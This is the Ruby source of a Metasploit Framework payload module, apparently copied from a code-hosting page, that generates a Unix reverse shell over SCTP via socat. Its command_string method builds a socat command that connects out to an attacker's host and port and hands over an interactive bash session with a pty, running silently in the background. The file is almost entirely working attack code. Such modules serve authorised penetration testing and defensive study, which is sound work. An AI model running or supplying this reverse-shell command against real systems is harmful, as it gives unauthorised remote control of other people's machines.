Path: blob/master/modules/payloads/singles/cmd/unix/reverse_socat_sctp.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 8878include Msf::Payload::Single9include Msf::Sessions::CommandShellOptions1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Unix Command Shell, Reverse SCTP (via socat)',16'Description' => 'Creates an interactive shell via socat',17'Author' => 'RageLtMan <rageltman[at]sempervictus>',18'License' => MSF_LICENSE,19'Platform' => 'unix',20'Arch' => ARCH_CMD,21'Handler' => Msf::Handler::ReverseSctp,22'Session' => Msf::Sessions::CommandShell,23'PayloadType' => 'cmd',24'RequiredCmd' => 'socat',25'Payload' => {26'Offsets' => {},27'Payload' => ''28}29)30)31end3233#34# Constructs the payload35#36def generate(_opts = {})37vprint_good(command_string)38return super + command_string39end4041#42# Returns the command string to use for execution43#44def command_string45"socat sctp-connect:#{datastore['LHOST']}:#{datastore['LPORT']} exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &"46end47end484950